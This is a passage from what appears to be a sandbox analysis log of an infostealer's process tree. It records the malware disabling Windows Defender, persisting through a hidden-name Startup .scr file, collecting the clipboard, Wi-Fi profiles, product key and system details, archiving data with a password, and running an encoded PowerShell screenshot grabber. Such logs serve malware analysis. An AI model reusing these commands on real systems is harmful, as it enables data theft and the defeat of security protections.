                                                                  C:\Windows\system32\cmd.exe /c "getmac"
                                                                  3⤵
                                                                    PID:776
                                                                    • C:\Windows\system32\getmac.exe
                                                                      getmac
                                                                      4⤵
                                                                        PID:1220
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI7162\rar.exe a -r -hp"1234" "C:\Users\Admin\AppData\Local\Temp\cJ31k.zip" *"
                                                                      3⤵
                                                                        PID:2184
                                                                        • C:\Users\Admin\AppData\Local\Temp\_MEI7162\rar.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\_MEI7162\rar.exe a -r -hp"1234" "C:\Users\Admin\AppData\Local\Temp\cJ31k.zip" *
                                                                          4⤵
                                                                          • Executes dropped EXE
                                                                          PID:2052
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                        3⤵
                                                                          PID:4920
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic os get Caption
                                                                            4⤵
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            PID:2984
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                          3⤵
                                                                            PID:4060
                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                              wmic computersystem get totalphysicalmemory
                                                                              4⤵
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:1752
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                            3⤵
                                                                              PID:3432
                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                wmic csproduct get uuid
                                                                                4⤵
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                PID:1368
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                              3⤵
                                                                                PID:2056
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                  4⤵
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:2376
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                3⤵
                                                                                  PID:4276
                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                    wmic path win32_VideoController get name
                                                                                    4⤵
                                                                                    • Detects videocard installed
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:564
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                  3⤵
                                                                                    PID:1676
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                      4⤵
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      PID:1448
                                                                              • C:\Windows\servicing\TrustedInstaller.exe
                                                                                C:\Windows\servicing\TrustedInstaller.exe
                                                                                1⤵
                                                                                  PID:4132
                                                                                • C:\Windows\system32\taskmgr.exe
                                                                                  "C:\Windows\system32\taskmgr.exe" /4
                                                                                  1⤵
                                                                                  • Checks SCSI registry key(s)
                                                                                  • Modifies registry class
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                  • Suspicious use of SendNotifyMessage
                                                                                  PID:3108
                                                                                • C:\Windows\System32\rundll32.exe
                                                                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                  1⤵
                                                                                    PID:5072
                                                                                  • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‎ .scr
                                                                                    "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‎ .scr" /S
                                                                                    1⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:4920
                                                                                    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‎ .scr
                                                                                      "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‎ .scr" /S
                                                                                      2⤵
                                                                                      • Drops file in Drivers directory
                                                                                      • Executes dropped EXE
                                                                                      • Loads dropped DLL
                                                                                      PID:4552
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‎ .scr'"
                                                                                        3⤵
                                                                                          PID:3736
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‎ .scr'
                                                                                            4⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            PID:2192
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                                                                          3⤵
                                                                                            PID:1132
                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                                                                              4⤵
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              PID:3616
                                                                                            • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                              "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                              4⤵
                                                                                              • Deletes Windows Defender Definitions
                                                                                              PID:756
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                            3⤵
                                                                                              PID:1204
                                                                                              • C:\Windows\system32\tasklist.exe
                                                                                                tasklist /FO LIST
                                                                                                4⤵
                                                                                                • Enumerates processes with tasklist
                                                                                                PID:4276
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                              3⤵
                                                                                                PID:2024
                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                  wmic csproduct get uuid
                                                                                                  4⤵
                                                                                                    PID:784
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
                                                                                                  3⤵
                                                                                                    PID:1064
                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
                                                                                                      4⤵
                                                                                                        PID:2356
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
                                                                                                      3⤵
                                                                                                        PID:2828
                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
                                                                                                          4⤵
                                                                                                            PID:2684
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                          3⤵
                                                                                                            PID:3820
                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                              wmic path win32_VideoController get name
                                                                                                              4⤵
                                                                                                              • Detects videocard installed
                                                                                                              PID:3916
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                            3⤵
                                                                                                              PID:4620
                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                wmic path win32_VideoController get name
                                                                                                                4⤵
                                                                                                                • Detects videocard installed
                                                                                                                PID:1152
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                              3⤵
                                                                                                                PID:4816
                                                                                                                • C:\Windows\system32\tasklist.exe
                                                                                                                  tasklist /FO LIST
                                                                                                                  4⤵
                                                                                                                  • Enumerates processes with tasklist
                                                                                                                  PID:3844
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                3⤵
                                                                                                                  PID:3744
                                                                                                                  • C:\Windows\system32\tasklist.exe
                                                                                                                    tasklist /FO LIST
                                                                                                                    4⤵
                                                                                                                    • Enumerates processes with tasklist
                                                                                                                    PID:1956
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                                                                                                  3⤵
                                                                                                                    PID:2776
                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                                                                                                      4⤵
                                                                                                                        PID:3564
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                                                                                                                      3⤵
                                                                                                                      • Clipboard Data
                                                                                                                      PID:2392
                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                        powershell Get-Clipboard
                                                                                                                        4⤵
                                                                                                                        • Clipboard Data
                                                                                                                        PID:4628
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                      3⤵
                                                                                                                        PID:4232
                                                                                                                        • C:\Windows\system32\tasklist.exe
                                                                                                                          tasklist /FO LIST
                                                                                                                          4⤵
                                                                                                                          • Enumerates processes with tasklist
                                                                                                                          PID:4928
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                        3⤵
                                                                                                                          PID:4440
                                                                                                                          • C:\Windows\system32\tree.com
                                                                                                                            tree /A /F
                                                                                                                            4⤵
                                                                                                                              PID:1064
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                                                                                                            3⤵
                                                                                                                            • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                            PID:2128
                                                                                                                            • C:\Windows\system32\netsh.exe
                                                                                                                              netsh wlan show profile
                                                                                                                              4⤵
                                                                                                                              • Event Triggered Execution: Netsh Helper DLL
                                                                                                                              • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                              PID:3384
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c "systeminfo"
                                                                                                                            3⤵
                                                                                                                              PID:2228
                                                                                                                              • C:\Windows\system32\systeminfo.exe
                                                                                                                                systeminfo
                                                                                                                                4⤵
                                                                                                                                • Gathers system information
                                                                                                                                PID:4560
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                                                                                                                              3⤵
                                                                                                                                PID:4540
                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                  REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                                                                                                                  4⤵
                                                                                                                                    PID:3268
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                                                                                                                  3⤵
                                                                                                                                    PID:388
                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                                                                                                                      4⤵
                                                                                                                                        PID:756
                                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fbk1gdlx\fbk1gdlx.cmdline"
                                                                                                                                          5⤵
                                                                                                                                            PID:1516
                                                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBE7D.tmp" "c:\Users\Admin\AppData\Local\Temp\fbk1gdlx\CSCDE9EE2BA5F254B8E8D9AE040AFD396.TMP"
                                                                                                                                              6⤵
                                                                                                                                                PID:1620
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                                                                                                                          3⤵
                                                                                                                                            PID:832
                                                                                                                                            • C:\Windows\system32\attrib.exe
                                                                                                                                              attrib -r C:\Windows\System32\drivers\etc\hosts
                                                                                                                                              4⤵
                                                                                                                                              • Drops file in Drivers directory
                                                                                                                                              • Views/modifies file attributes
                                                                                                                                              PID:724
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                            3⤵
                                                                                                                                              PID:3300
                                                                                                                                              • C:\Windows\system32\tree.com
                                                                                                                                                tree /A /F
                                                                                                                                                4⤵
                                                                                                                                                  PID:3616
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                                                                                                                                3⤵
                                                                                                                                                  PID:3600
                                                                                                                                                  • C:\Windows\system32\attrib.exe
                                                                                                                                                    attrib +r C:\Windows\System32\drivers\etc\hosts
                                                                                                                                                    4⤵
                                                                                                                                                    • Drops file in Drivers directory
                                                                                                                                                    • Views/modifies file attributes
                                                                                                                                                    PID:1676
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1832
                                                                                                                                                    • C:\Windows\system32\tree.com
                                                                                                                                                      tree /A /F
                                                                                                                                                      4⤵
                                                                                                                                                        PID:2376
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:4976
                                                                                                                                                        • C:\Windows\system32\tasklist.exe
                                                                                                                                                          tasklist /FO LIST
                                                                                                                                                          4⤵
                                                                                                                                                          • Enumerates processes with tasklist
                                                                                                                                                          PID:4528
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1752
                                                                                                                                                          • C:\Windows\system32\tree.com
                                                                                                                                                            tree /A /F
                                                                                                                                                            4⤵
